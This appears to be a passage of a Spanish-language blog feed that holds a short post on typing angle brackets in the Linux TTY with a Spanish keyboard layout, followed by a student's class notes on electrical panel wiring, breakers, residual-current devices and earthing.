<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8wNgOmyuJIiJGe-srD4cxgLsf7IS9O4icWtekaucloen7yJgzXFpxkm9_b34BSZvW7bS6Hj1_wcErk28Avw9_83Xcmzb8-pGxj5c8mTNhUN12ViiNAq-V5x4xfizPRYocb8422vsa6anjm5q94TWXZ_sxRf7C-w3pTvwmM-qtJgXZXlU-fXICnT3S-2o/s4160/IMG_20250929_192730471.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhl1zTRf-ow91R1FFLC-ikpF0zhL84ii6ZAtdg8E51S_c8MkLACn0NsSkhDjzusv_a-KaYuWbg6qCp3t8J8_6HEwJ6O14DXNPD5mcrat4jVSOrPZn78_z-cgiV8i1Gyx6P41hkMHz07-OC-BLnqNX6CBaSsMV9HeQ6QifTz7FxVChBhjVl-jiCV2kJ2aQ/s4160/IMG_20250929_192815821.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3HVdxR3tvA5CDRA1e1HbQlFmDDWXgia8yMJji-K7luXw4m8LmyG6UAhYeKkKGrBesHIx34vt6DDVxCD46DIhqWu3IGHgecUbTlpnPfa9zwwYr6JiasLIJDfUNiQezxb9m0BVfiApqG6U_rbawuY51ZfP-HSPhq3o8R_SVclJbrOdgpPnxVoH5VGpfH4U/s4160/IMG_20250929_192818255.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7FbRXkj9J1NMHLtcrAynKaV0pGaPlP6X6UwBu6zrMWXch0Dzn4KcQMLHXmKrly7vf5e12T7zVDlWMflyscSlSDBm2HBz9jPsXtP3NM96yeUuPLIaDi74T3lzARVzUXbSMhoIs_0s4nTgBI_yb2ZKDWNrEHgv8yWNSq2e-Cb1SsG47q6xMzH-tYEDcPNA/s4160/IMG_20250929_193321112.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEIGcK6l8eheXxJ4EAgvLJ7HQuosecTWaU196ezjdoRtdKmjANh5uryj8T8hHIRsN3JhoOf1ozlHMM4udZ3cLvBRP5-HhB2Fbsfpij47WRhtSXXTeXLGDeHTtO9CAtCveUYx7-HDY6WLFk-oiM4audbZGRgci8QcQS9lf-OaHl29n0sDENTnKzVil5cmg/s4160/IMG_20250929_193322089.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo1lIDJFxzFGv1Tcju5U5Iqtcz_M_036xc8p5CGdG7DJ_yymi6aYqXkT8ABrjmNbZALorM4drwrzDYfq7si1ewE64CG1QJP4haBd3gvqu_-Qo1v3dcBmnNe2chgRl_ANRMVkkQj1cEccLLD4_FMxLBF4HDtKIZ1IrTQN6V-KKsEfaDUVVq0sKYUEr8_Og/s4160/IMG_20250929_193907491.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoyJBEfZhphMDA0fHjeeOBe1HRWxhsWAYvR4keVK7C9lAglX-1N0u39TcYCaPoHbHqLsCxqegF-2ryxqf_88saI6YqzruuSLCH2WG0f8l123kvv2ZJU7bgUewPBEpAT2VEkC8ngOnHSYyX03HXmbRBzJGR5amdoB5Ig7JFsU4_FOfo8uuqzKjWY8HCn2w/s4160/IMG_20250929_194550882.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYy960XcEyy_r-PJNj3JKMEWVoAh6i1-nkMRmsEnKnG9O8BtVX9f-DyAkwR7zMl-jVRtLl-OrjZHkvM4xy4v3N8-tX3mvvne0pFEPXAq9IrtZQFFKMyrCiZkK2y026txqqGpRLb4FX7jWRi1pu8eiN5aeLrP_9ER5ATM5MkmIsvJTDA1bhibKm8JqeIpU/s4160/IMG_20250929_195514255.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdejvthE6TeKz8LxuptJqHxEOG4dewzvuQjQac8Cvn21Dx3TxIxeI0_owr4ELDr2xwOfzFqK2s9mqJc5V9MAHQmZu4m2VapfpbKbkwq7GjExcpt_FecN1JLBZlou0G4W0I1wcHqT6cmgXpsVXMisD_lPaavPY1kHP1sUzXLQdDbAxtue7BupWK18sn0Y8/s4160/IMG_20250929_200243802.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuDGMnwrQ7slBBYFY6_HoEwto3xV-AhUVVPZ_qg4pq2r99s2-8oC-nfl1Jw0lvxJ7gg1jNS09ufjYX2zZl2DWriWLMWN1NT3j2nl-myo4tLg6ufewzTYHJ_JJ8sRNvmzi4IRlt9e2IgeF2dlJozZ0Sb7aswRq0fyKxHgAtdrzdpXPfPq0A2fNV4lmU-qw/s4160/IMG_20250929_201057415.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSnoDNCQlQ5-8NZYN-VdE9RWY1DS7Ogl51Haj3oQmL7hiF8P7-R-oEvTE-oIwqBgmfhaE6g8MzXflAIRlkX43m5a65XEAYLcym3yw9Yzqys1PylOK_phEYCerZIoucIQGGNjXkaNr8fxAP2i06N0kLVaRg1MhcR0OFmIUoq6izbkir39rXcT8oIrDc5dA/s4160/IMG_20250929_201441534.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqFCW4tCEIvlmoozKwf85r4LPYBchb_6oReA9zTtU7KCfj4LsdGABHUmsKfGRXD7WyKcsdFNLGw957iZrGMVxgbSb-mXcAUy5P4Vma6Wp-Iy1eqIjuurPSSl2UyhVUAHQAfGHGc4x0awCyAB_C4qXZW9elFZhNbbgqdkxHPqIEuefx9oJNhNXNoDCONFk/s4160/IMG_20250929_201502305.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4RtQtT5LMwpUMfNTaxljpPBIJwkCGMRga9Aai9FSx-21GBJsYM2uLX7uJ0TzJlmCqBt03EIdxFBPPfgNgflnx4S8PqhUNWaTNRL59admg8G9mHN2FWbA4HGSDsY-g2dV-4pwLCYp4jzMZqvRlkmM1gpnMbG5YY5PSpj1qsPVwGri537WL2uYVu95MMMk/s4160/IMG_20250929_202318289.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2vItIrr-wRB6ES3-UTYlRcXXaVerD8xOjIiqrNFRBmpfoFaNWvSAYHwso4MsC2pv59GAeVv9nhUi1xqK9gqMPwJZc08tumdeohu8zHnD2bmQyrMzY8LMjncIEMPMtq6OBNn7kcDXXnaxZhzOQgmDTSdMgLc-nBZ5Fo8wzwXrMZZLqVFzRpioBWZcb7qg/s4160/IMG_20250929_202547761.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaPOF0uyJMTFs_gjb3bOTv3PWLMAcR-u-OfKs9hTZC1yxnoFTlPFG8iXDdApwX1W-Km4OWK5_ca75KAGnD-vi1jtkLCZUkp5KXul4_zeSx5NSWt257fAK7TaBfHAivQVSfH5mw55gMxzXffSEUAlHRbbGQrXl4m1WSFjRxiV_v4Om1KWfYmIOv7FuozX4/s4160/IMG_20250929_202623727.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjI4gs101I5Xojfw4rUOIv0yRZEtiRFUSsPGGlWKyrMdmMxYE2skKq1kOTwWjlz97xUGl7sFGFQ0fdwaV6DAMc09mM6s_29g8sG3NmyesFesetdP3J9q9ajWnxz5aCGAw6RPk26d2CyfEowui4LVpJjiJwe-gDsGcHvlN71CXxmnS_acNAVnGGWbZaX7og/s4160/IMG_20250929_202637707.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLzm8-5f8FMTWFag7-qsK0loYsKgOunP5wXCv_CUyWSSU-0OQwnavw7LXtx0BVmTry09iXzaK5hNrma7oMK6F8OLavO8-xCIN4lXvrUQUby8uOJ3JFV_qxg1L_Qok_a0q2vuOFWoF9PZNKrWYGQaxooy1MHEZaZjhKw6gKK7HBm3YzzErStCQxFj2GCO0/s4160/IMG_20250929_202905633.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh35HYRR23S8awRcgrI88fl14_QLuZ0pALSm1R6PV0dYSvX7ThNffoRbbVcikuuAxJWxWg-H6pm40-rNDefj7h6YsLbahLmEsk2f0GenWH2DZFcT4FiQen191Fc-UzgnqR6qML_R37_ouAwJH7sK-q_XZamCT2iz5PVfVavwDbVTS8o2v1-l-68Q57OV5o/s4160/IMG_20250929_202911802.jpg" alt=""></p>
-
Signo mayor menor en teclado ANSI bajo distribución en español en la linux TTY.
https://imlauera.github.io/signo_mayor_menor_ansi/
Sat, 27 Sep 2025 13:28:35 -0300
https://imlauera.github.io/signo_mayor_menor_ansi/
<p>Mi prompt:</p>
<blockquote>
<p>Tengo un teclado ANSI y uso distribución español con Ñ así que no puedo hacre el signo mayor ni menor (< >) y encima es un teclado 75% o sea no tengo teclado numérico y estoy desde la TTY linux la única solución que encontré es ejecutando <code>sudo loadkeys us</code> y luego <code>sudo loadkeys es</code> para hacer el signo mayor y menor, ¿existe hay alguna otra forma para que no tenga que hacer eso?</p>
-
Electricidad / Clase 71: Diagrama unifilar tablero: símbolos de ITM y diferencial(disyuntor). Desarmamos tablero. Pregunta examen. Forma ascendiente vs descendiente. Distribuidor, peine, bucle o guirnalda. 8 módulos = 4 térmicas. El disyuntor determina la característica ahí dice donde entra el neutro y la fase.
https://imlauera.github.io/electricidad71/
Thu, 25 Sep 2025 12:37:15 -0300
https://imlauera.github.io/electricidad71/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/1cz27sakb724">https://vocaroo.com/1cz27sakb724</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-277">https://archive.org/details/record-277</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=QDPkU6nuB08">https://www.youtube.com/watch?v=QDPkU6nuB08</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgC9mlBKGs5FVji7bq3kcL0leVEReFIn4zP4eBzpcQaYpXaYE7RnjXQkxDMLfGmWTmnW1xvxL_AuZ-b4sS7uMdoNvFhIiMOJHqMt8zuooyyHzIFODvqG3OsEk-NPCaZq3U3C-8Twf4csSxythFYnDwXyZ5kXkWMrj8Q5Zub3YiwrXcnpB0s-S7M-XxT8Gw/s4160/IMG_20250924_184343385_HDR.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3E_QCg_RGAAz78_TU6QYDi1JW3Ma3wkXKzl16-j0WZupYk1W5Ws22XCjIcNIHOQEPw3XnXQ8mgIti4rRY75Z5_O5N_nvTgvtNKskJHIRy7AsNVKGkkVxWKh-i3eEk4w4WHLRVo50xnf6Y5G0yy1tjn6bvaEAZJ9UBOWKnguJ19K7zLISAH4bSWzvgHGs/s4160/IMG_20250924_184400319.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9UyKJyLi6ht4WQDgjKejJljHL2BC9IAZTILp1YSczINCNUm47EtMlBxlfLsRKdROsgnANOQ7ydoUqv6bAhobcxBPa6_-T-bJ4ypBHu8kITf3BwKRJxTNDJ0RDB36lQSg14ozv8eMs5m_R8C2s1BfAUDnE6EiNvppGoqS16oyrJtFzRAsqXwb31X8UoJo/s4160/IMG_20250924_190256854_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5M-ccml8x2n3zyFPLCpjkebhGP5SnRVfbyBpjrbjuHX_HKhDxFUWfQQZobDoJ-FydCV66PmiKa33n1yR1s58Vcj9ku-WJFJm_PlxzJ1aD2C5DXlQFQEa5dxT-ZtCoI9_hPx8Op_UczgMbtX-d_kxmCxITjpmlmy0CpJxNWZ2UiSUP6-BPKO8c1HucPFU/s4160/IMG_20250924_190256854_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9VuPIND0JoQ1AAhX3elirk5aiHhbvVtQzY1G3czryb81imH5x6oQZ0vBOoumoC4w1ky1rB0T7_aR6E9jMwxr5FZMcUdsQuXncu1SBgb5H73B39FWEJbVZIImAhr_A9W9q7H9wx_ug18voykIGnQnc-3BX3EVb6qW1gxyW6ycFjVE8DUACRo9APy_xG1Q/s4160/IMG_20250924_191058869.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhl4r2meyL7fumJS3qOodIHOEkdAXrjZDpMzr3cMlNeI82uetygOuAGdEwTCRKPRBNWjHLUQcGEK4Su3Pghgea_aK1E3kCdYulh3vLqBCj9AH8Fdr9DRUw1ALMBUkEA6IKpmYYNHL5IyGp_u1I-jWdl5Bt7lUTUb6i78aXObnvuYLeT_8HwGvm6h_AQXFw/s4160/IMG_20250924_191447358.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX9uD-kBjpSQpc35csNSzQmSMeoa8WreLH0HaoUc72rsZ-maajt0-u9-M_prUFqcKV7t3C8xYv0SLjUYAyYn5cVVmMXscSWPnbbFqhsz3dDWjBsc4mbIVyy-NjYAosia7uX24AEid8g4s6VI3h-hqafCxiFtdE1aCuIFLUArkwTsnawd40Chs_x81axHg/s4160/IMG_20250924_191503032.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimh_Q0M4ty0j0pclZzfZutmxBDmkISROvNgjE0w1EIbrJDYTwhp0VFW-GBpf3YzSNlIy5TA1kYrLuFCO2mR0WKsmcG32eXT3_mu0c6uRGoei5-anTVmlTdn-0XNYqNhkQbMZs4zuZuqb04qL3ILRQ0wvurqxcM1irQqC6_DMG0CeyO-sUgsalAvMJgOC4/s4160/IMG_20250924_191506044.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihPgc8cupivqeIpmu55av2gA0rh3Z83i3IvfSiY7QS3RzQZlDXXVW6XOo9u0nap97uevwWp9hzjy8XyeXxRWeekXgEdmw2rxiJQN3-Kpe9kX0429gMrycOb1Xp-jTg0cKOJED39VM1dCxb-Aw5BmNSp-H2FyX23LLKG_1EJf74uHxWOkk-UqtTDOy86vQ/s4160/IMG_20250924_192117792_HDR.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgE4zu4hPRpkiEHiSK0x90q__-3YvNZxnez2IYHO3uANQuzeCfSEjEN6foDtJh_ThvH9u6ZXhAXphQ7kDGNkTJaYGU09XtWqVGg078Ew4tBO_H-OJiCaOBUIedTv3i2_gvVYubyu6uHkzF_-jnZ6ZY9xnRXjii4QWZkBfjE_LQXzNGAHyNrIoUejbmH1M/s4160/IMG_20250924_192119614.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN-1P4QtOpL-SHQTjoaQsopMA1KMFTvWBWI0P6V4JUqblAPaFCYcG0_z3RCUFQEKUvGMJOVpcYTQeQjEbttTGNdC0fu1HBXbNYpYxywPv2v98ZxiidRo_kFDbqpAvDzwpU9t6CXg7RMe1pxfYNxWLLkKC-akBsii0g7jbAK3W8dzF3kHU_XkVZALQyr84/s4160/IMG_20250924_192655287.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh39z5lAmdz7fUEHN7DkT-fDHBF65LWYupuZs9a2idYtWwK8CO33ccl-oFCMEK_8LtYgXwUL7wHbcjfSk2lnq8tn6o-NXc8YIGGo-24iRWoy8UWCKQQ0P3aPJeT9nuaOROtdWebb_Pi_mUMWH5d1Q2Lsixe389jmUl94BjpF2E_qarrjSM6-YPMj4jU7T8/s4160/IMG_20250924_201107664.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGz4mVDO4c7CXaQKQO-rqibyuAnmTc1MOH7T0Gh1j5PJb77kRa-itl9gGb6AMmk41fxbTo3EzmZtvy7e9lQ1HQKfx0WrW2vEkuuLX183QoaOMJyNdpWx32kPSQ7V9kl_I7d78G3lrxqEFMcgVkmDv-qJeuQ950ApA5S-WpGjNwgrKbuNGnCup0QkDsvgU/s4160/IMG_20250924_201206545.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlmQ8Tbl59hZMadU7RXhVlV-L2CUN_T2nKObdmlE65NTHUm0NI5LXCixCHJx5wqedjBm7decHAG9eQpC8ZurnOPrBUSrt6mhq5HxbO76ECZCFt-iMhNxWopTRFMQLvSlPqQEzQduz6Xop2JIXLFhutpjKJe7Xsp2OEg6ecbI554Ad47a492YEYYNwWMLE/s4160/IMG_20250924_201220173.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5_p6x-VAqPrCMf6h4US9HsrkY6U1Iy7ZJsMd44fEugkHuueQuT5ZVLW66GVWt6STOWUgkSvCV5R3jA6gx5-P_zrdKhOaVhtUk1qwSrQcMLOaL7FjZ-LnFOUDnGD962TeWCN7EBV3WHqSPoRXoQrNqt-EALfX8mKijOlMC0ZhqcAJ5GFn8hAcdiZ5i5y0/s4160/IMG_20250924_201526062.jpg" alt=""></p>
<h2 id="resumen">Resumen:</h2>
<ul>
<li>Diagrama unifilar tablero: símbolos de ITM y diferencial(disyuntor).</li>
<li>Cada circuito tiene como máximo 15 bocas.</li>
<li>Lo ideal es 1 por boca.</li>
<li>Desarmamos tablero.</li>
<li>ITM tiene parte magnética y térmica: sobrecarga y cortocircuito.</li>
<li>El cuadradito es el toloide en el diagrama del ITM y representa el térmico y el otro el magnético. La flechita es el magnético.</li>
<li>Peine unipolar: cuando vio el precio no le gustó.</li>
<li>Diagrama unifilar es la representación gráfica en este caso de un tablero: cantidad de circuitos, protecciones.</li>
<li>Por cada tablero tengo un ITM de cabecera generalmente es mayor luego disyuntor.</li>
<li>El que tiene un cuadradito que dice TEST y tiene otra característica es el disyuntor. Si el botón de TEST sale sigue funcionando el disyuntor.</li>
<li>Hay gente que coloca al revés el disyuntor y no salta el test.</li>
<li>Leiva probó botón de disyuntor y no saltó puede ser que hizo eso.</li>
<li>Hoy en día siempre por arriba todos los disyuntores.</li>
<li>Luego podemos agregar protector de tensión.</li>
<li>Distribuidor ocupa 4 módulos y medio.</li>
<li>Una sola línea en el plano un caño pero en un diagrama unifilar representa cuántos cables entran en el tablero en este caso haremos sistema monofásico: fase y neutro. El dibujo es una linea tachada con otra con un puntito.</li>
<li>Tablero seccional está dentro de la casa: Interruptor principal de corte del tablero seccional.</li>
<li>Si es monofásico mínimo conductor: 2x6mm^2</li>
<li>Cuando está representando los conductores esa linea y la cruz representa el ITM.</li>
<li>Disyuntor está después del ITM de cabecera y tiene que ser de corriente igual o mayor al ITM principal.</li>
<li>La flechita del ITM significa que continúa para abajo los dibujitos van conectados.</li>
<li>La linea representará un distribuidor tiene 7 polos: hay uno que recibe la carga principal (el agujero principal) y después los otros 6 para los circuitos. 2x7 polos.</li>
<li>Si no tengo distribuidor puedo usar peine o guirnalda(bucle).</li>
<li>La puesta a tierra tiene que tener la misma sección que el conductor interruptor principal.</li>
<li>ITM de 2x32. Curva B, curva C una salta antes que otra a igual cantidad de corriente.</li>
<li>Mínimamente los ITM tienen que tener corriente de ruptura de 3000 amper Espeche aconseja que sea 4500 amper sino puede explotar por un rayo (dudoso).</li>
<li>Primero debemos poner interruptor de 1,5mm^2</li>
<li>Alumno tiene hojas sueltas, Espeche recomienda pasar todo en limpio.</li>
</ul>
<hr>
<h4 id="forma-ascendente-vs-descendente">Forma ascendente vs descendente.</h4>
<ul>
<li><strong>Acá vamos a ir en forma escalonada del más chico al más grande porque el distribuidor en este caso tomo la alimentación del distribuidor todas las barras son de 100 amper entonces no hay problema tengo un distribuidor en donde la alimentación va a la barra y de la barra tomo a cada conductor entonces no hay problema de poner del más chico al más grande o si usas un peine se hace en forma ascendente</strong>.</li>
<li><strong>En forma descendente solo hago cuando tengo que hacer los bucles.</strong></li>
</ul>
<hr>
<ul>
<li>Distribuidor 2x7 polos. Peine o guirnalda (bucles) es decir unimos cada interruptor a través de esa forma.</li>
<li>2 de 2x20: uno para la ducha otro para el aire acondicionado.</li>
<li>Abajo figura el número de conductor a veces: 4x2,5mm^2 y ruptura de 3000.</li>
<li>Por cada circuito sale conductor de tierra.</li>
<li>2 tableros: uno tiene distribuidor otro no.</li>
<li>El disyuntor me indica cuál es el neutro eso me da la característica para utilizar los distintos colores. Algunos usan todo neutro y le ponen anillos.</li>
<li>En casa alumna el neutro era rojo.</li>
<li>8 módulos = 4 térmicas.</li>
<li>En el tablero seccional que tiene 8x2 no vamos a tener el ITM de cabecera supongamos que está cerca del tablero general entonces aparecerá directamente disyuntor: 2x40 amper puedo poner 2x25 amper otra vez aparece la barra y ahí conecto otra vez. Acá vamos a poner 1,5 2,5 y 4. ITM de 2x10 amper, ITM de 2x16 amper e ITM de 2x20 amper.</li>
<li>Un grupo hará un tablero 1 y otro tablero 2.</li>
<li>Hay interruptores nuevos tener cuidado.</li>
<li>Siempre calcular un 20% más al armar el tablero.</li>
<li>El tablero principal está detrás del medidor.</li>
<li>La puesta a tierra puede ser una bornera o tornillo o empalme de conductor a la jabalina.</li>
<li>En el edificio en cada columna tiene un cobre pelado en la zapata misma. 56 medidores. Espeche pide que saque una foto.</li>
<li>Cuando se hace la zapata se pone conductor que recorra toda la instalación eso está a nivel de piso 3 o 4 metros y el tipo que hace la estructura la zapata no sabe donde irá el tablero entonces cada 2 o 3 columnas se pone un chicote de conductor desnudo está todo mallado luego se toma de ese cobre de 25 50 mm hasta la descarga del pararrayos.</li>
<li>* Desarmamos el tablero…</li>
<li>Si paso los 5500 watts tengo que usar trifásico en ese caso tenemos que poner un tetrapolar. Tetrapolar primero y luego disyuntor. Es de 5000 watts el tetrapolar.</li>
<li>Protector de tensión va luego: protege contra sobre tensión o baja tensión.</li>
<li>Benitez falta y hace preguntas que debería haber sabido: preguntó como proteger un circuito mixto iluminación y tomacorriente qué ITM tengo que colocar? Tenes que proteger el conductor más chico.</li>
<li>Benitez: venite volando(chiste). (Hora 01:02:06)</li>
<li>Algunos protectores de tensión son analógicos y otros digitales te dice que tensión tiene en un display.</li>
<li>Para desarmar tiene un ganchito. Se pone un destornillador plano se baja y se levanta no vayan a arrancarlo.</li>
<li>Para poner el ITM en el riel din: arriba pongo y después apretó porque si esto está en otra posición probablemente rompa y al romper esto ya no tengo fijación acuérdense que todos los interruptores tienen que estar fijos sobre el riel din no tener colgando, ocurre que se rompe el soporte.</li>
<li>Luego veremos contactores que también se pueden fijar a riel din o a la chapa.</li>
<li>Leiva hace un chiste de que quiere ese tablero de chapa para su casa.</li>
<li>Profesor explica como funciona temporizador, detectores de movimiento, pulsador. Llegabas a la escalera pulsabas y duraba un tiempo luego se apagaba la luz.</li>
<li>Ayudante: Algunos tienen un resorte y otros que se bajan y se trancan.</li>
<li><strong>Lo importante es ver como tienen los empalmes</strong>.</li>
<li>Los polos 3 entradas y 4 salida.</li>
<li><strong>El disyuntor determina la característica ahí dice donde entra el neutro y la fase.</strong></li>
<li>Entrada de ascensor pongo 2 detectores de movimiento depende de la longitud del pasillo. Detecta el movimiento y va prendiendo las luces por segundos.</li>
<li>En la red urbana pusieron tubo LED.</li>
<li>Alumno tiene ducha con conductor 2,5mm^2 y térmica de 25 amper (MAL).</li>
<li>Alumna dice que hay que ser caradura para cobrar y hacer mal el trabajo.</li>
<li>Hay que memorizar la simbología porque en cualquier cosa que tengan que hacer tendrán que leer el diagrama unifilar.</li>
<li>Alumno cree que todos los conductores están preparados para aguantar más.</li>
<li>En la 1era clase del curso de auxiliar electricista trajo un diagrama y un tablero grande, ese tablero ya lo entregó.</li>
<li>Profesor intentó hablar con gente para que hagamos el 50% de los tableros del edificio que me den los materiales el diagrama unifilar es parecido solo que le agregó los aires el termotanque y la cocina eléctrica (anafe). Es todo monofásico me deben dar distribuidor y peine ahora le meten un conductor de 2x16 hay que llevar tu alimentación de 2x16 a todos lados. El profesor hubiera puesto 2x10.</li>
<li>El protector de tensión solo se usa en barrios en donde se sabe que hay problemas de tensión.</li>
<li>Profesor nos muestra un tablero en donde tiene protector de tensión trifásico, y están los display indica cada fase con respecto al neutro que tensión tiene en ese momento.</li>
<li>El estabilizador es un aparato grandote no tiene nada que ver con el protector de tensión.</li>
<li>Como funciona un protector de tensión? Si tenes en directo o manual si está protegido cuando llega o estabiliza la tensión eso se prende. En automático corta en baja tensión y después cuando se estabiliza vuelve solo. En manual habilitás el paso de la corriente.</li>
<li>Focos led con tensiones de 60/80 voltios se prende pero después la heladera no puede arrancar y zapatea porque tiene tensión baja.</li>
<li>Instalación protegida: interruptor termomagnético, diferencial(disyuntor) y puesta a tierra y esté bien calculado los cables y el ITM. Después hay más cosas que se pueden agregar.</li>
<li>Hoy en día ponemos solo 1 disyuntor principal, las normas me piden que tenga un disyuntor por cada uno (una boludes en mi opinión).</li>
<li>Algunas distribuidoras dicen que se hacen cargo si un electrodoméstico se rompió solo si en esa vivienda tengo un protector de tensión.</li>
<li>Hay heladeras que salen 5 millones de pesos que se abren para todos lados, si tiene un problema de tensión no te cubre salvo que tengas protector de tensión.</li>
<li>Ayudante: Protector de tensión está 60 mil pesos.</li>
<li><strong>Pregunta examen: Cable de alimentación va todo por arriba y tiene que ser igual o mayor conductor de salida. Como pusimos de 4 va 4 arriba. Yo pongo generalmente todo de 4.</strong></li>
</ul>
<h5 id="el-que-entra-si-entra-6-todo-6-hasta-después-del-disyuntor-hasta-el-distribuidor-si-no-tengo-hasta-el-disyuntor">El que entra si entra 6 todo 6 hasta después del disyuntor hasta el distribuidor si no tengo hasta el disyuntor.</h5>
<ul>
<li>Padres revoltosos se quejaban de que los cables en el tablero eran “finos” en realidad estaban bien porque de iluminación se usa 1,5mm^2 pero el profesor puso todo de 4mm^2 en el tablero y lo llevaba a un caja de paso y ahí lo empalmaba.</li>
<li>Profesor muestra el tablero que está en la entrada de la UOCRA regulador de tensión: Si hay una sobretensión descarga abajo a la jabalina. Instalaron la radio, etc. Se pone entre cabecera y disyuntor en algunos casos depende de qué característica tenga. Tenemos instalación trifásica en la cocina tendría que haber un ITM acá que maneje todo. Falta conector en el tablero.
De la calle viene ahí con el negro tipo preensamblado acuérdense que soporta mayor carga, pero de ahí tomaron la alimentación y ya lo llevaron a este disyuntor, este disyuntor va para varios lugares (no sabe adonde va). Estos datos son de todos (los display). Fase fase pero si vos miras abajo la corriente hay una fase que está más cargada habría que repartir más. 12 amperes en la 1era. Hay que prender todos los aires y ver cuánto amper nos da.</li>
<li>Como máximo entre fase y fase entre un 20% y 30%, supongamos que yo tenga 40 acá como máximo 35 acá entonces voy distribuyendo las cargas.</li>
<li>Alumno con pinza amperométrica le daba 22 amperes en caliente y 12 en el tibio. No llega a los 22 que yo tuve cuando uso la ducha eléctrica.</li>
<li>Profesor ya no quiere embutir más tableros porque hay que picar.</li>
<li>Ver distribución un interruptor principal y otro que corte tablero seccional que está en la cocina y luego se va mejorando.</li>
</ul>
-
Electricidad / Clase 70: Repaso tableros. Organización clase que viene: algunos harán circuito otros trabajaran en tablero. 8 bocas - 4 ITM bipolares = 3 ITM bipolares y 1 disyuntor. Hasta distribuidor mismo cable de entrada. Peine de conexión. Cinta de colores para marcar cables y caños. Tener cuidado: cuando esté terminado el trabajo recién decir que si, sino te cierran el cielorraso. Sobre la estructura de los perfiles se pone madera. Vimos tablero de puente doble, ayudante intentó usar destornillador grande(error). Terminal doble TIF. Laburo: iluminar la parrila. Compañero de ayudante conectó una bomba al revés. Benitez pregunta como proteger circuito mixto. Cuando el circuito es mixto hay que proteger al conductor de menor sección. Preensamblado por adentro no está permitido. Un vivo puso tanque de reserva y le sacó toda el agua al barrio. Acuífero. Primero vamos a terminar tableros y después vamos a empezar con tablero de bombeo. Un recibido del Janssen electromecánico conectó la bomba al revés.
https://imlauera.github.io/electricidad70/
Wed, 24 Sep 2025 11:15:57 -0300
https://imlauera.github.io/electricidad70/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/13pVJJ4wvs7s">https://vocaroo.com/13pVJJ4wvs7s</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-273">https://archive.org/details/record-273</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=DR35iGi12_c">https://www.youtube.com/watch?v=DR35iGi12_c</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO9roP_5LKwhf0StuiEh_WAj7iYO05K3qOFUJQVnlOHRBXVX1N0qFQjqpTFqQPDX9NneZSaMOvbHi2E7a2_CH2xPSueykT19WsJZQZWeWbkrb5VSNbMz4YH2HqS-GIorKiOW24bizGsufwCVMz3QGvjnqPX51ccZwkkne11J4tATvRyf52UPQV13_JSXo/s4160/IMG_20250312_204002630_BURST000_COVER.jpg" alt=""><br>
